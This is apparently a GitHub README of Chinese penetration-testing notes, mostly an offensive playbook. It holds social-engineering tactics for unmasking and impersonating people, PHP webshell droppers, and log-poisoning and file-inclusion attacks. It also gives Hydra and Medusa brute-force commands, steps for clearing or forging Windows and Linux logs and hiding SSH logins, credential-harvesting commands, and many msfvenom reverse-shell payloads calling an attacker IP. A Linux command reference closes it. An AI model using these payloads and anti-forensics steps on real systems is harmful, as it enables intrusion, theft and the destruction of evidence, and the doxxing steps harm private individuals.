Skip to content

blucewan/PentestNote

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 

Repository files navigation

PentestNote

近期想把一些渗透笔记,记录下来方便自己查阅,也希望能帮到有需要的朋友.

个人觉得学习就是知识输入和输出,只有这样才能更好的提升.

不定时更新,完全为了记笔记.

safe6

前期信息收集

工具推荐

子域名

自动化信息收集

目录扫描

win下面用御剑和7kbscan就够了,关键得看字典吧.我公众号之前有推荐过

扫描器

在线工具

指纹

综合扫描

子域/旁站

dns历史记录

可用来找真实ip

匿名

google语法

  1. 后台地址
  • site:xxx.xxx 管理后台/登陆/管理员/系统
  • site:xxx.xxx inurl:login/admin/system/guanli/denglu
  1. 敏感文件
  • site:xxx.xxx filetype:pdf/doc/xls/txt
  • site:xxx.xxx filetype:log/sql/conf
  1. 测试环境
  • site:xxx.xxx inurl:test/ceshi
  • site:xxx.xxx intitle:测试
  1. 邮箱/QQ/群
  • site:xxx.xxx 邮件/email
  • site:xxx.xxx qq/群/企鹅/腾讯
  1. 其他
  • site:xxx.xxx inurl:api
  • site:xxx.xxx inurl:uid=/id=
  • site:xxx.xxx intitle:index of

Github搜索

  • @xxx.xxx password/secret/credentials/token/config/pass/login/ftp/ssh/pwd
  • @xxx.xxx security_credentials/connetionstring/JDBC/ssh2_auth_password/send_keys

关于社工

  1. 查询whois得到电话,邮箱,备案号.备案号查注册人

  2. 电话通过支付宝转帐获取真实姓名,利用qq反查微信,qq推测

  3. 电话号码添加到通讯录,让第三方app通过通讯录匹配出信息(抖音,支付宝,qq,微信......)

  4. 社工库,tg群查泄漏密码

  5. 手机号查注册过的网站

    https://www.reg007.com/
    https://www.usersearch.org/
    
  6. 得到管理员设置密码习惯,命名习惯.进行爆破,跑备份

  7. 利用个人信息生成社工字典

  8. 冒充目标好友

  9. 近源渗透,wifi,badusb

  10. 鱼叉攻击,利用office宏代码,第三方软件捆绑

  11. 水坑攻击

  12. 可通过微博进行定位,qq抓ip定位,图片exif定位

  13. 各种匿名

关于突破口

  1. 无头绪的时候,可以去fofa找相同类型的站点拿下,然后进行代码审计.
  2. 主站一般没机会,尽量的去收集目标资产(渗透本质是信息收集),没有拿不下的站点,只要信息收集到位.如果还不行就社工.
  3. 遇到难啃的骨头,可以对报403的目录进行扫描,也许会有不错的收获
  4. 多做漏洞复现,遇到了对应的漏洞就不用去慢慢研究

历史漏洞

漏洞攻击

文件读取漏洞

1、一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作

2、读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件

3、读取程序配置文件(如数据库连接文件,可以利用数据库写shell)

4、读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码) 5、读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录) 6、读取程序源代码,方便后面做代码审计,找突破口 7、读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息) 8、还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点。

windows常见的敏感文件路径:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

Linux常见的敏感文件路径:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

文件包含漏洞

一、利用思路总结:

1、包含一些敏感的配置文件,获取目标敏感信息

2、配合图片马getshell

3、包含临时文件getshell

4、包含session文件getshell

5、包含日志文件getshell(Apach、SSH等等)

6、利用php伪协议进行攻击

二、具体利用方法:

①包含一些敏感的配置文件

windows常见的敏感文件路径:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

Linux常见的敏感文件路径:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

绝对路径:

img

../跨目录读取:

img

②配合图片马getshell

需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下:

<?php fputs(fopen("panda.php","w"),'<? @eval($_POST[PANDA]);?>');?>

img

会在当前目录下生成panda.php,密码为PANDA,连接即可

img

③包含临时文件+phpinfo getshell

在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。

利用方法简述:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

操作过程:

访问存在文件包含漏洞的页面

http://192.168.136.128:8080/lfi.php?file=/etc/passwd

img

访问phpinfo页面,需要确实存在

img

然后利用exp进行利用:

python2 exp.py 目标ip 8080 100

img

在189次请求时,就写入成功了

脚本exp.py实现了上述漏洞利用过程,成功包含临时文件后,会利用file_put_contents函数写入一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上

img

然后直接利用蚁剑进行连接即可,密码为1:

img

④包含session文件getshell

session简介:cookie存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,session一般用来跟踪会话。

利用场景:

一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中

利用条件:

①session文件路径已知

session文件路径位置可以通过phpinfo页面来获取:session.save_path参数

img

也可以猜测常见的一些session存储位置:

/var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID]

②且其中部分内容可控制

利用方式:

访问漏洞页面,在参数中构造payload

img

然后我们的首要任务就是获取session文件名,可通过谷歌浏览器,或者burp抓包查看

img

文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell

img

连接webshell

img

⑤包含日志文件getshell

1.包含Apache日志文件

在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log

**利用条件:**日志文件的存储路径,并且日志文件可读。

①apache的日志文件可以通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中

②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log

③也可用通过先包含配置文件来确定日志文件路径

index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf

利用方式:

因为会自动url编码,会导致无法利用,所以抓包再请求

img

可以看到error.log文件中已经成功写入了payload

img

然后包含log文件路径即可

img

连接webshell

img

2.包含SSH日志文件

ssh '<?php phpinfo();?>'@192.168.136.143

这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell

img

可以看到我们登陆的行为都被记录到了日志当中

img

可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析

img

通过phpinfo查看到了网站根目录

img

本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路

img

然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell

img

然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行

img

文件上传漏洞

爆破攻击

Hydra

参数:
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口 
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
>hydra -L /root/user.txt -P pass.txt smb 10.1.1.10 -vV
>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10

Medusa

参数:
-h 目标名或IP  -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql

痕迹清理

windows清理

日志清除

windows 日志路径:

系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog

windows 日志清除方式:

(1)最简单粗暴的方式

开始→运行,输入 eventvwr 进入事件查看器,右边栏选择清除日志。

(2)命令行一键清除Windows事件日志

PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}

(3)利用脚本停止日志的记录

通过该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。

因此,系统将无法收集日志,同时事件日志服务似乎正在运行。

github项目地址:https://github.com/hlldz/Invoke-Phant0m

(4)Windows单条日志清除

该工具主要用于从Windows事件日志中删除指定的记录。

github项目地址:https://github.com/QAX-A-Team/EventCleaner

(5)Windows日志伪造

使用eventcreate这个命令行工具来伪造日志或者使用自定义的大量垃圾信息覆盖现有日志。

eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

IIS日志

IIS默认日志路径:

%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

清除WWW日志:

停止服务:net stop w3svc
删除日志目录下所有文件:del *.*
启用服务:net start w3svc

永久擦除技巧

利用Windows自带命令进行安全擦除

(1)Shift+Delete快捷键永久删除

直接删除文件,还是能在回收站找到的,使用Shift+Delete快捷键可以直接永久删除了。但是用数据恢复软件,删除的文件尽快恢复,否则新的文件存入覆盖了原来的文件痕迹就很难恢复了。

(2)Cipher 命令多次覆写

在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复。

比如,删除D:\tools目录下的文件,然后执行这条命令:

cipher /w:D:\tools

这样一来,D 盘上未使用空间就会被覆盖三次:一次 0x00、一次 0xFF,一次随机数,所有被删除的文件就都不可能被恢复了。

(3)Format命令覆盖格式化

Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖。而且可以覆盖多次。比如:

format D: /P:8

这条命令表示把 D 盘用随机数覆盖 8 次。

清除远程桌面连接记录

当通过本机远程连接其他客户端或服务器后,会在本机存留远程桌面连接记录。代码保存为clear.bat文件,双击运行即可自动化清除远程桌面连接记录。

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp

利用Metasploit 痕迹清除

(1)查看事件日志

meterpreter > run event_manager  -i   
[*] Retriving Event Log Configuration

Event Logs on System
====================

 Name                    Retention  Maximum Size  Records 
 ----                    ---------  ------------  ------- 
 Application             Disabled   20971520K     2149 
 HardwareEvents          Disabled   20971520K     0 
 Internet Explorer       Disabled   K             0 
 Key Management Service  Disabled   20971520K     0 
 Security                Disabled   20971520K     1726 
 System                  Disabled   20971520K     3555 
 Windows PowerShell      Disabled   15728640K     138

(2)清除事件日志(包括六种日志类型)

meterpreter > run event_manager  -c

(3)另外,也可以输入clearv命令清除目标系统的事件日志(仅包含三种日志类型)

meterpreter > clearev 
[*] Wiping 4 records from Application...
[*] Wiping 8 records from System...
[*] Wiping 7 records from Security...

linux清理

日志清除

/var/log/btmp   记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp    记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp    记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure   记录与安全相关的日志信息
/var/log/message  记录系统启动后的信息和错误日志

第一种方式:清空日志文件

清除登录系统失败的记录:

[root@centos]# echo > /var/log/btmp 
[root@centos]# lastb             //查询不到登录失败信息

清除登录系统成功的记录:

[root@centos]# echo > /var/log/wtmp  
[root@centos]# last              //查询不到登录成功的信息

清除相关日志信息:

清除用户最后一次登录时间:echo > /var/log/lastlog          #lastlog命令
清除当前登录用户的信息:echo >   /var/log/utmp             #使用w,who,users等命令
清除安全日志记录:cat /dev/null >  /var/log/secure
清除系统日志记录:cat /dev/null >  /var/log/message

第二种方式:删除/替换部分日志

日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed  -i '/自己的ip/'d  /var/log/messages

# 全局替换登录IP地址:
sed -i 's/192.168.166.85/192.168.1.1/g' secure

第三种方式:web日志

直接替换日志ip地址

sed -i 's/192.168.166.85/192.168.1.1/g' access.log

清除部分相关日志

# 使用grep -v来把我们的相关信息删除
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log

永久擦除技巧

(1)shred命令

实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数。

[root@centos]# shred -f -u -z -v -n 8 1.txt 
shred: 1.txt: pass 1/9 (random)...
shred: 1.txt: pass 2/9 (ffffff)...
shred: 1.txt: pass 3/9 (aaaaaa)...
shred: 1.txt: pass 4/9 (random)...
shred: 1.txt: pass 5/9 (000000)...
shred: 1.txt: pass 6/9 (random)...
shred: 1.txt: pass 7/9 (555555)...
shred: 1.txt: pass 8/9 (random)...
shred: 1.txt: pass 9/9 (000000)...
shred: 1.txt: removing
shred: 1.txt: renamed to 00000
shred: 00000: renamed to 0000
shred: 0000: renamed to 000
shred: 000: renamed to 00
shred: 00: renamed to 0
shred: 1.txt: removed

(2)dd命令

可用于安全地清除硬盘或者分区的内容。

dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数

(3)wipe

Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。

wipe filename

(4)Secure-Delete

Secure-Delete 是一组工具集合,提供srm、smem、sfill、sswap,4个安全删除文件的命令行工具。

srm filenames
fill filename
sswap /dev/sda1
smem

清除history记录

第一种方式:

(1)编辑history记录文件,删除部分不想被保存的历史命令。

vim ~/.bash_history

(2)清除当前用户的history命令记录

history -c

第二种方式:

(1)利用vim特性删除历史命令

#使用vim打开一个文件
vi test.txt

# 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
:set history=0

# 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令
vsp ~/.bash_history

# 清除保存.bash_history文件即可。

(2)在vim中执行自己不想让别人看到的命令

:set history=0
:!command

第三种方式:

通过修改配置文件/etc/profile,使系统不再保存命令记录。

HISTSIZE=0

第四种方式:

登录后执行下面命令,不记录历史命令(.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0

隐藏远程SSH登陆记录

隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@192.168.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@192.168.0.1 /bin/bash –i

横向移动

  • linux反弹shell后保持会话不断,可以借⽤screen保持会话

  • 把反弹shell转为交互式的shell

python -c 'import pty; pty.spawn("/bin/bash")' //⽣成py半交互式shell ctrl+Z stty raw -echo fg resetexport SHELL=bashexport TERM=xterm256-color stty rows 38 columns 116


- linux密码快速查找

```bash
find / -name *.properties 2>/dev/null | grep WEB-INF

find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" find / -regex ".*\.properties\|.*\.conf\|.*\.config" | xargs grep -E "=jdbc:|pass="

find /webapp -regex ".*\.properties" -print 2>/dev/null | xargs grep -E "=jdbc:|rsync"

find / -regex ".*\.properties" -print  2>/dev/null

find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd="

find / -regex ".*\.xml\|.*\.properties\|.*\.conf\|.*\.config\|.*\.jsp" | xargs grep -E "setCipherKey"

内网常用命令

  • whoami # 查看当前用户
  • net user # 查看所有用户
  • query user # 查看当前在线用户
  • ipconfig /all # 查看当前主机的主机名/IP/DNS等信息
  • route print # 查看路由表信息
  • netstat -ano # 查看端口开放情况
  • arp -a # 查看arp解析情况
  • tasklist /svc # 查看进程及对应服务名
  • net localgroup administrators # 查看管理员组成员
  • systeminfo # 查看系统信息含补丁信息
  • net use # 查看ipc连接情况
  • net view # 查看匿名共享情况
  • netsh firewall show state # 查看防火墙状态
  • cmdkey /l # 查看当前保存的登陆凭证

密码搜集

  • netsh wlan show profiles # 查看连接过的wifi名称
  • netsh wlan show profile name="wifi名称" key=clear # 查看wifi的密码
  • dir /a %userprofile%\AppData\Local\Microsoft\Credentials* # 查看RDP连接凭证
  • dir /a /s /b "网站目录*config*" > 1.txt # 数据库配置文件
  • laZagne.exe all -oN # 本地wifi/浏览器等密码
  • dir %APPDATA%\Microsoft\Windows\Recent # 查看最近打开的文档

连通性

域信息收集

常用信息收集

  • net config workstation #查看当前登录域
  • net user /domain # 获得所有域用户列表
  • net view /domain # 查看所有的域
  • net view /domain:XXX # 查看该域内所有主机
  • net group /domain # 查看所有域用户组列表
  • net group "domain computers" /domain # 查看域内所有的主机名
  • net group "domain admins" /domain # 查看所有域管理员
  • net group "domain controllers" /domain # 查看所有域控制器
  • net group "enterprise admins" /domain # 查看所有企业管理员
  • nltest /domain_trusts # 获取域信任信息
  • net time /domain # 查看当前登录域
  • net accounts /domain # 查看域密码策略
  • dsquery server # 寻找目录中的域控制器
  • netdom query pdc # 查看域控制器主机名
  • wmic useraccount get /all #获取域内用户的详细信息

环境信息搜集

  • nbtscan.exe xx.xx.xx.xx/24 # 查看c段机器
  • csvde.exe -f 1.csv -k # 批量导入/导出AD用户
  • setspn.exe -T xx.xx.xx.xx -Q / # 查看当前域内所有spn

密码搜集

  • dir /s /a \域控IP\SYSVOL*.xml # 获取域里面所有机子的本地管理员账号密码

payload生成

windows:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o
payload.exe

mac:

LPORT=攻击机端口 -f macho -o payload.macho

android:

//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell:

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

linux:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f elf -o payload.elf

php:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=
<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php

aspx:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

jsp:

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻
击机端口 -f raw -o payload.jsp ```

war:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -
o payload.war

nodejs:

msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.js

python:

msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -
f raw -o payload.py

perl:

msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.pl

ruby:

msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.rb

lua:

msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.lua

windows shellcode:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f c

linux命令

基础常用命令

  • 某个命令 --h,对这个命令进行解释

  • 某个命令 --help,解释这个命令(更详细)

  • man某个命令,文档式解释这个命令(更更详细)(执行该命令后,还可以按/+关键字进行查询结果的搜索)

  • Ctrl + c,结束命令

  • TAB键,自动补全命令(按一次自动补全,连续按两次,提示所有以输入开头字母的所有命令)

  • 键盘上下键,输入临近的历史命令

  • history,查看所有的历史命令

  • Ctrl + r,进入历史命令的搜索功能模式

  • clear,清除屏幕里面的所有命令

  • pwd,显示当前目录路径(常用)

  • firefox&,最后后面的 & 符号,表示使用后台方式打开 Firefox,然后显示该进程的 PID 值

  • jobs,查看后台运行的程序列表

  • ifconfig,查看内网 IP 等信息(常用)

  • curl ifconfig.me,查看外网 IP 信息

  • curl ip.cn,查看外网 IP 信息

  • locate 搜索关键字
    

    ,快速搜索系统文件/文件夹(类似 Windows 上的 everything 索引式搜索)(常用)

    • updatedb,配合上面的 locate,给 locate 的索引更新(locate 默认是一天更新一次索引)(常用)
  • date
    

    ,查看系统时间(常用)

    • date -s20080103,设置日期(常用)
    • date -s18:24,设置时间,如果要同时更改 BIOS 时间,再执行 hwclock --systohc(常用)
  • cal,在终端中查看日历,肯定没有农历显示的

  • uptime,查看系统已经运行了多久,当前有几个用户等信息(常用)

  • cat 文件路名,显示文件内容(属于打印语句)

  • cat -n 文件名,显示文件,并每一行内容都编号

  • more 文件名,用分页的方式查看文件内容(按 space 翻下一页,按 Ctrl + B 返回上页)

  • less
    

    文件名,用分页的方式查看文件内容(带上下翻页)

    • j 向下移动,按 k 向上移动
    • / 后,输入要查找的字符串内容,可以对文件进行向下查询,如果存在多个结果可以按 n 调到下一个结果出
    • 后,输入要查找的字符串内容,可以对文件进行向上查询,如果存在多个结果可以按 n 调到下一个结果出
  • shutdown
    
    • shutdown -hnow,立即关机
    • shutdown -h+10,10 分钟后关机
    • shutdown -h23:30,23:30 关机
    • shutdown -rnew,立即重启
  • poweroff,立即关机(常用)

  • reboot,立即重启(常用)

  • zip mytest.zip /opt/test/
    

    ,把 /opt 目录下的 test/ 目录进行压缩,压缩成一个名叫 mytest 的 zip 文件

    • unzip mytest.zip,对 mytest.zip 这个文件进行解压,解压到当前所在目录
    • unzip mytest.zip -d /opt/setups/,对 mytest.zip 这个文件进行解压,解压到 /opt/setups/ 目录下
  • tar -cvf mytest.tar mytest/,对 mytest/ 目录进行归档处理(归档和压缩不一样)

  • tar -xvf mytest.tar
    

    ,释放 mytest.tar 这个归档文件,释放到当前目录

    • tar -xvf mytest.tar -C /opt/setups/,释放 mytest.tar 这个归档文件,释放到 /opt/setups/ 目录下
  • last,显示最近登录的帐户及时间

  • lastlog,显示系统所有用户各自在最近登录的记录,如果没有登录过的用户会显示 从未登陆过

  • ls
    

    ,列出当前目录下的所有没有隐藏的文件 / 文件夹。

    • ls -a,列出包括以.号开头的隐藏文件 / 文件夹(也就是所有文件)
    • ls -R,显示出目录下以及其所有子目录的文件 / 文件夹(递归地方式,不显示隐藏的文件)
    • ls -a -R,显示出目录下以及其所有子目录的文件 / 文件夹(递归地方式,显示隐藏的文件)
    • ls -al,列出目录下所有文件(包含隐藏)的权限、所有者、文件大小、修改时间及名称(也就是显示详细信息)
    • ls -ld 目录名,显示该目录的基本信息
    • ls -t,依照文件最后修改时间的顺序列出文件名。
    • ls -F,列出当前目录下的文件名及其类型。以 / 结尾表示为目录名,以 ***** 结尾表示为可执行文件,以 @ 结尾表示为符号连接
    • ls -lg,同上,并显示出文件的所有者工作组名。
    • ls -lh,查看文件夹类文件详细信息,文件大小,文件修改时间
    • ls /opt | head -5,显示 opt 目录下前 5 条记录
    • ls -l | grep '.jar',查找当前目录下所有 jar 文件
    • ls -l /opt |grep "^-"|wc -l,统计 opt 目录下文件的个数,不会递归统计
    • ls -lR /opt |grep "^-"|wc -l,统计 opt 目录下文件的个数,会递归统计
    • ls -l /opt |grep "^d"|wc -l,统计 opt 目录下目录的个数,不会递归统计
    • ls -lR /opt |grep "^d"|wc -l,统计 opt 目录下目录的个数,会递归统计
    • ls -lR /opt |grep "js"|wc -l,统计 opt 目录下 js 文件的个数,会递归统计
    • ls -l,列出目录下所有文件的权限、所有者、文件大小、修改时间及名称(也就是显示详细信息,不显示隐藏文件)。显示出来的效果如下:
-rwxr-xr-x. 1 root root 4096 3月 26 10:57,其中最前面的 - 表示这是一个普通文件
lrwxrwxrwx. 1 root root 4096 3月 26 10:57,其中最前面的 l 表示这是一个链接文件,类似 Windows 的快捷方式
drwxr-xr-x. 5 root root 4096 3月 26 10:57,其中最前面的 d 表示这是一个目录
  • cd
    

    ,目录切换

    • cd ..,改变目录位置至当前目录的父目录(上级目录)。
    • cd ~,改变目录位置至用户登录时的工作目录。
    • cd 回车,回到家目录
    • cd -,上一个工作目录
    • cd dir1/,改变目录位置至 dir1 目录下。
    • cd ~user,改变目录位置至用户的工作目录。
    • cd ../user,改变目录位置至相对路径user的目录下。
    • cd /../..,改变目录位置至绝对路径的目录位置下。
  • cp 源文件 目标文件
    

    ,复制文件

    • cp -r 源文件夹 目标文件夹,复制文件夹
    • cp -r -v 源文件夹 目标文件夹,复制文件夹(显示详细信息,一般用于文件夹很大,需要查看复制进度的时候)
    • cp /usr/share/easy-rsa/2.0/keys/{ca.crt,server.{crt,key},dh2048.pem,ta.key} /etc/openvpn/keys/,复制同目录下花括号中的文件
  • tar cpf - . | tar xpf - -C /opt,复制当前所有文件到 /opt 目录下,一般如果文件夹文件多的情况下用这个更好,用 cp 比较容易出问题

  • mv 文件 目标文件夹
    

    ,移动文件到目标文件夹

    • mv 文件,不指定目录重命名后的名字,用来重命名文件
  • touch 文件名,创建一个空白文件/更新已有文件的时间(后者少用)

  • mkdir 文件夹名,创建文件夹

  • mkdir -p /opt/setups/nginx/conf/,创建一个名为 conf 文件夹,如果它的上级目录 nginx 没有也会跟着一起生成,如果有则跳过

  • rmdir 文件夹名,删除文件夹(只能删除文件夹里面是没有东西的文件夹)

  • rm 文件
    

    ,删除文件

    • rm -r 文件夹,删除文件夹
    • rm -r -i 文件夹,在删除文件夹里的文件会提示(要的话,在提示后面输入yes)
    • rm -r -f 文件夹,强制删除
    • rm -r -f 文件夹1/ 文件夹2/ 文件夹3/删除多个
  • find
    

    ,高级查找

    • find . -name *lin*,其中 . 代表在当前目录找,-name 表示匹配文件名 / 文件夹名,lin 用通配符搜索含有lin的文件或是文件夹
